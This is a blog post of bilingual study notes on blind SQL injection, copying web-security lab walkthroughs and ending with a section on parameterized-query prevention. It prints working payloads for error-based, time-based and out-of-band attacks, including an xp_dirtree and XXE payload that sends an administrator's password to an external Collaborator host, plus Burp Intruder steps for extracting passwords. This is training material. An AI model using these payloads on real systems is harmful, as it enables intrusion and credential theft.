Lab: Blind SQL injection with conditional errors
This lab contains a blind SQL injection vulnerability.
The application uses a tracking cookie for analytics,
and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
SQL查询的结果不返回,应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果SQL查询导致错误,则应用程序返回自定义错误消息。
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
-
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let’s say the original value of the cookie is TrackingId=xyz.
-
Modify the TrackingId cookie, appending a single quotation mark to it: TrackingId=xyz’. Verify that an error message is received.
-
Now change it to two quotation marks:
TrackingId=xyz''
. Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response. 这表明语法错误(在本例中是未关闭的引号)对响应产生了可察觉的影响。 -
You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:
TrackingId=xyz'||(SELECT '')||'
您现在需要确认服务器将注入解释为SQL查询,即错误是SQL语法错误,而不是其他类型的错误。为此,您首先需要使用有效的SQL语法构造子查询。In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query: 在这种情况下,请注意查询仍然是无效的。这可能与数据库类型有关——请尝试在查询中指定一个可预测的表名TrackingId=xyz'||(SELECT '' FROM dual)||'
. As you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all SELECT statements to explicitly specify a table name.
由于不再收到错误,这表明目标可能正在使用Oracle数据库,这需要所有SELECT语句显式地指定表名。 -
Now that you’ve crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'
This time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.
既然您已经构建了一个看起来有效的查询,那么尝试提交一个无效的查询,同时仍然保留有效的SQL语法。例如,尝试查询不存在的表名。这一次,将返回一个错误。这种行为强烈表明,您的注入正在被后端作为SQL查询处理。 -
As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the users table exists, send the following query:
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
As this query does not return an error, you can infer that this table does exist. Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break our concatenation.
只要确保始终插入语法上有效的SQL查询,就可以使用此错误响应来推断有关数据库的关键信息。 例如,为了验证users表是否存在,请发送以下查询:
由于此查询不返回错误,因此可以推断该表确实存在。 请注意,这里的WHERE ROWNUM = 1条件很重要,可以防止查询返回多于一行的内容,因为这会破坏我们的串联。 -
You can also exploit this behavior to test conditions. First, submit the following query:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Verify that an error message is received.
您还可以利用此行为来测试条件。首先,提交以下查询: -
Now change it to:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Verify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.
验证错误是否消失。这说明您可以根据特定条件的真实情况有条件地触发错误。CASE语句测试一个条件,如果条件为真,则计算为一个表达式,如果条件为假,则计算为另一个表达式。前一个表达式包含一个被零整除的值,这会导致错误。在本例中,两个有效负载测试条件1=1和1=2,当条件为真时接收到一个错误。 -
You can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Verify that the condition is true (the error is received), confirming that there is a user called administrator.
您可以使用此行为来测试表中是否存在特定的条目。例如,使用如下命令查询administrator用户是否存在 -
The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This condition should be true, confirming that the password is greater than 1 character in length. Send a series of follow-up values to test different password lengths.
下一步是确定管理员用户的密码中有多少个字符。为此,将值更改为 -
Send:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
. Then send: TrackingId=xyz’||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=‘administrator’)||’. And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long.
条件为真,得到一个错误
条件为假,不执行to char(0/1)没有错误
- After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
- In the Positions tab of Burp Intruder, clear the default payload positions by clicking the “Clear §” button. 在Burp Intruder的“位置”选项卡中,通过单击“清除§”按钮清除默认的有效负载位置。
- In the Positions tab, change the value of the cookie to:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This uses the SUBSTR() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. - Place payload position markers around the final a character in the cookie value. To do this, select just the a, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers):
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload Options” add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
- Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
- Review the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The “Status” column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.检查攻击结果,找出字符在第一个位置的值。发生错误时,应用程序返回HTTP 500状态码,正常情况下返回HTTP 200状态码。入侵者结果中的“Status”列显示了HTTP状态代码,因此您可以很容易地在这一列中找到500的行。该行显示的有效负载是第一个位置的字符的值。
- Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- Launch the modified attack, review the results, and note the character at the second offset.
- Continue this process testing offset 3, 4, and so on, until you have the whole password.
- In your browser, click “My account” to open the login page. Use the password to log in as the administrator user.
实验过程:
加了一个引号后引起错误
20时 错误消失====(200正确) 则说明条件错了,不大于20
19时,错误仍在
所以为20个密码
8
c7wybfvqhlxa9ogbd724
5.4 触发时间延迟 利用盲注
在前面的示例中,假设应用程序现在捕获了数据库错误并进行了妥善处理。 当执行注入的SQL查询时触发数据库错误不再导致应用程序响应的任何差异,因此导致条件错误的上述技术将不起作用。
在这种情况下,通常有可能通过根据注入条件有条件地触发时间延迟来利用盲SQL注入漏洞。 由于SQL查询通常由应用程序同步处理,因此延迟执行SQL查询也会延迟HTTP响应。 这使我们可以根据接收到HTTP响应之前花费的时间来推断注入条件的真实性。
触发时间延迟的技术与所使用的数据库类型高度相关。 在Microsoft SQL Server上,可以使用以下类似的输入来测试条件并根据表达式是否为真触发延迟:
'; IF (1=2) WAITFOR DELAY ‘0:0:10’–
'; IF (1=1) WAITFOR DELAY ‘0:0:10’–
这些输入中的第一个不会触发延迟,因为条件1 = 2为假。 第二个输入将触发10秒钟的延迟,因为条件1 = 1为真。
使用这项技术,我们可以通过系统地一次测试一个字符来以已描述的方式检索数据:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
在SQL查询中有多种触发时间延迟的方法,并且不同的技术适用于不同类型的数据库。 有关更多详细信息,请参见SQL注入备忘单。
Lab: Blind SQL injection with time delays
该实验室包含一个盲目的SQL注入漏洞。 该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。
不返回SQL查询的结果,并且应用程序不会根据查询返回任何行还是导致错误而做出任何不同的响应。 但是,由于查询是同步执行的,因此有可能触发条件时间延迟以推断信息。
要解决此问题,请利用SQL注入漏洞造成10秒钟的延迟。
- Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
- Modify the TrackingId cookie, changing it to:
TrackingId=x'||pg_sleep(10)--
- Submit the request and observe that the application takes 10 seconds to respond.
Lab: Blind SQL injection with time delays and information retrieval
该实验室包含一个盲目的SQL注入漏洞。 该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。
不返回SQL查询的结果,并且应用程序不会根据查询返回任何行还是导致错误而做出任何不同的响应。 但是,由于查询是同步执行的,因此有可能触发条件时间延迟以推断信息。
该数据库包含另一个名为用户的表,其表名为用户名和密码。 您需要利用盲目的SQL注入漏洞来找出管理员用户的密码。
要解决此问题,请以管理员用户身份登录。
solution
- Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie
- Modify the TrackingId cookie, changing it to:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verify that the application takes 10 seconds to respond. - Now change it to:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verify that the application responds immediately with no time delay. This demonstrates how you can test a single boolean condition and infer the result. - Now change it to:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Verify that the condition is true, confirming that there is a user called administrator. - The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
.This condition should be true, confirming that the password is greater than 1 character in length. - Send a series of follow-up values to test different password lengths. Send:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Then send:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
.And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), you have determined the length of the password, which is in fact 20 characters long. - After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
- In the Positions tab of Burp Intruder, clear the default payload positions by clicking the “Clear §” button.
- In the Positions tab, change the value of the cookie to:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. - Place payload position markers around the a character in the cookie value. 有效荷载位置标记To do this, select just the a, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers):
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lower case alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload Options” add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
- To be able to tell when the correct character was submitted, you’ll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, go to the Options tab, and the "Request Engine" section. Change the value “Number of threads” to 1.
- Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
- Burp Intruder monitors the time taken for the application’s response to be received, but by default it does not show this information. To see it, go to the “Columns” menu, and check the box for “Response received”. Burp入侵者监视接收应用程序响应==所花费的时间,但默认情况下,它不显示此信息。==要查看它,转到“Columns”菜单,并选中“Response received”框。
- Review the attack results to find the value of the character at the first position. You should see a column in the results called “Response received”. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position. 检查攻击结果,找出字符在第一个位置的值。您应该在结果中看到一个名为“Response received”的列。这通常包含一个较小的数字,表示应用程序响应所花的毫秒数。其中一行在这一列中应该有一个更大的数字,在10,000毫秒的范围内。该行显示的有效负载是第一个位置的字符的值。
- Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- Launch the modified attack, review the results, and note the character at the second offset.
- Continue this process testing offset 3, 4, and so on, until you have the whole password.
- In your browser, click “My account” to open the login page. Use the password to log in as the administrator user.
fbqsyhsb1pinpbkapi4k
???试过了
不对
zidmb7wamemlonbbk4cu
5.5 使用带外(OAST)技术利用盲SQL注入
现在,假设应用程序执行相同的SQL查询,但是异步进行。 应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。 该查询仍然容易受到SQL注入的攻击,但是到目前为止,所描述的技术都不起作用:应用程序的响应不取决于查询是否返回任何数据,数据库是否发生错误或执行所花费的时间。 查询。
在这种情况下,通常有可能通过触发与您控制的系统的带外网络交互来利用SQL盲注漏洞。 如前所述,可以根据注入的条件有条件地触发这些操作,以一次推断一位信息。 但是更强大的是,可以直接在网络交互本身中渗入数据。 But more powerfully, data can be exfiltrated directly within the network interaction itself.
各种网络协议都可以用于此目的,但是最有效的通常是DNS(域名服务)。 这是因为非常多的生产网络都允许DNS查询的自由出口,因为它们对于生产系统的正常运行至关重要。
使用带外技术的最简单,最可靠的方法是使用Burp Collaborator。The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. 这是一台服务器,提供各种网络服务(包括DNS)的自定义实现,并允许您检测由于将单个有效负载发送给易受攻击的应用程序而导致何时发生网络交互。 Burp Suite Professional内置了对Burp Collaborator的支持,无需进行任何配置。
触发DNS查询的技术与所使用的数据库类型高度相关。 在Microsoft SQL Server上,可以使用类似以下的输入来在指定域上引起DNS查找:'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
这将导致数据库对以下域执行查找:0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net 您可以使用Burp Suite的Collaborator客户端生成唯一的子域,并轮询Collaborator服务器以确认何时进行任何DNS查找。
Lab : Blind SQL injection with out-of-band interaction
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
该实验室包含一个盲目的SQL注入漏洞。 该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。
SQL查询是异步执行的,对应用程序的响应没有影响。 但是,您可以触发与外部域的带外交互。
要解决此问题,请利用SQL注入漏洞对Burp Collaborator进行DNS查找。
- 访问商店的首页,并使用Burp Suite拦截和修改包含TrackingId cookie的请求。
- 修改TrackingId cookie,将其更改为有效负载,该负载将触发与Collaborator服务器的交互。 例如,可以将SQL注入与基本XXE技术结合使用,如下所示:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.
- 此处描述的解决方案足以触发DNS查找,因此可以解决实验室问题。 在实际情况下,您将使用Burp Collaborator客户端来验证您的有效负载确实触发了DNS查找,并可能利用此行为从应用程序中窃取敏感数据。 在下一个实验中,我们将介绍这种技术。
应该是顺序反了,单解决了lab3
这个就很简单了
use the out-of-band channel to exfiltrate data
确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。 例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入读取管理员用户的密码,附加唯一的Collaborator子域,并触发DNS查找。 这将导致如下所示的DNS查找,从而允许您查看捕获的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是检测和利用盲SQL注入的一种非常强大的方法,这是因为成功的可能性很高,并且能够直接在带外通道中窃取数据。 因此,即使在其他盲目开采技术确实起作用的情况下,OAST技术也通常是首选的。
有多种触发带外交互的方法,并且不同的技术适用于不同类型的数据库。 有关更多详细信息,请参见SQL注入备忘单。
Lab :Blind SQL injection with out-of-band data exfiltration
带外数据渗透的盲SQL注入
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
这个实验室有一个盲目SQL注入漏洞。应用程序使用跟踪cookie进行分析,并执行包含提交的cookie值的SQL查询。SQL查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。数据库包含另一个名为users的表,列名为username和password。您需要利用SQL盲注入漏洞来找出administrator用户的密码。要解决这个实验室,请以管理员u登录
- 访问商店的首页,并使用Burp Suite Professional拦截和修改包含以下内容的请求: TrackingId cookie.
- Go to the Burp menu, and launch the Burp Collaborator client.
- 单击“复制到剪贴板”,将唯一的Burp Collaborator有效负载复制到剪贴板。 使Burp Collaborator客户端窗口保持打开状态。
- 修改TrackingId cookie,将其更改为有效载荷,该有效载荷将在与Collaborator服务器进行交互时泄漏管理员的密码。 例如,可以将SQL注入与基本XXE技术结合使用,如下所示:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.
- 返回到Burp Collaborator客户端窗口,然后单击**“立即轮询”poll now**。 如果未列出任何交互,请等待几秒钟,然后重试,因为服务器端查询是异步执行的。
- 您应该看到由于负载而由应用程序启动的一些DNS和HTTP交互。 管理员用户的密码应显示在交互的子域中,您可以在Burp Collaborator客户端中查看该密码。 对于DNS交互,在“描述”选项卡中显示了已查找的完整域名。 对于HTTP交互,完整域名显示在“请求协作者”选项卡的“主机”标题中。
- 在浏览器中,单击“我的帐户”以打开登录页面。 使用密码以管理员用户身份登录。
问题:xs (顺序搞反了,然后上来先做这个改字段你都不会)
如何burp 拦截 和修改trackingId cookie?
流泪,终于搞出来了
把那个查询结果拼接到URL最前面;因为是自动生成的靶场,所以密码也是随机的啊/users是默认用来装数据库用户信息的表/然后username是里面一个内置字段/这里的知识是结合了xxe漏洞的
Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This will result in a DNS lookup like the following, allowing you to view the captured password: S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是检测和利用盲SQL注入的一种非常强大的方法,这是因为成功的可能性很高,并且能够直接在带外通道中窃取数据。 因此,即使在其他盲目开采技术确实起作用的情况下,OAST技术也通常是首选的。
有多种触发带外交互的方法,并且不同的技术适用于不同类型的数据库。 有关更多详细信息,请参见SQL注入备忘单。
5.6 如何避免盲注攻击?
Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not. As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.
尽管发现和利用盲目SQL注入漏洞所需的技术与普通SQL注入不同,而且更加复杂,但无论漏洞是否盲目,防止SQL注入所需的措施都是相同的。与常规SQL注入一样,可以通过谨慎使用参数化查询来防止盲目SQL注入攻击,参数化查询确保用户输入不会干扰预期SQL查询的结构。
四、HOW 如何检测SQL注入漏洞
使用Burp Suite的Web漏洞 扫描程序可以快速可靠地找到大多数SQL注入漏洞。
对应用程序的 每个入口点使用系统化的测试集,可以手动检测SQL注入
- 提交单引号字符并查找错误或其他异常
- 提交 特定的SQL语法,以**评估入口点的基础(原始值)和其他值,**并查找应用程序响应中的差异。
- 提交 布尔条件(),OR 1=1 OR 1=2 查找响应中的差异
- 提交 负载(SQL查询中执行触发时间的有效负载)寻找响应时间的差异
- 提交 负载(SQL查询中执行触发带外网络交互的OAST有效负载)监视所有结果交互
五、SQL injection 在查询的不同部分
大多数SQL注入漏洞都出现在SELECT查询的WHERE子句中,原则上SQL注入漏洞可以出现在查询中的任何位置以及不同的查询类型中
六、二阶SQL注入
一阶:发生在应用程序 从HTTP请求 获取用户输入的情况下(在处理请求的过程,一不安全的方式 将输入合并到SQL查询)
二阶:存储的SQL注入,应用程序从HTTP请求获取用户输入 将其存储起来以备将来使用
在开发人员意识到SQL注入漏洞并因此****安全地处理输入到数据库的初始放置的情况下,通常会出现二阶SQL注入。 以后再处理数据时,由于先前已将其安全地放置到数据库中,因此认为该数据是安全的。 此时,由于开发人员错误地认为数据是可信的,因此以不安全的方式处理数据。
七、特定的数据库因素Database-specific factors
流行的数据库平台上SQL语言的某些核心功能是以相同的方式实现的,检测和利用SQL注入漏洞的许多方式在不同类型的数据库上均相同,但也有差异:
- 字符串连接的语法
- 注释
- 批处理查询
- 平台特定API
- 错误消息
八、如何防止SQL注入
Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.
The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:
通过使用参数化查询(预处理语句) 而不是查询中的字符串串联,可以防止大多数SQL注入实例。以下代码易收到SQL注入的攻击,因为用户输入直接连接到查询中
String query = "SELECT * FROM products WHERE category = '"+ input + "'";Statement statement = connection.createStatement();ResultSet resultSet = statement.executeQuery(query);
This code can be easily rewritten in a way that prevents the user input from interfering with the query structure
可以通过防止用户输入干扰查询结构的方式轻松地重写这段代码
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");statement.setString(1, input);ResultSet resultSet = statement.executeQuery();
参数化查询可用于不信任输入在查询中显示为数据的任何情况,包括WHERE子句和INSERT或UPDATE语句中的值。 它们不能用于处理查询其他部分中的不可信输入,例如表名或列名或ORDER BY子句。 将不受信任的数据放入查询的那些部分的应用程序功能将需要采用不同的方法,例如将允许的输入值列入白名单,或者使用不同的逻辑来传递所需的行为。
为了使参数化查询有效地防止SQL注入,查询中使用的字符串必须始终是硬编码常量a hard-coded constant,并且绝不能包含来自任何来源的任何变量数据。 不要试图逐案确定数据项是否受信任,并继续在查询中使用字符串连接来确定安全的情况。 可能会很容易就数据的原始来源犯错误,也可能因为其他代码的更改而违反有关污染了哪些数据的假设,这太容易了。
发表评论
最新留言
关于作者
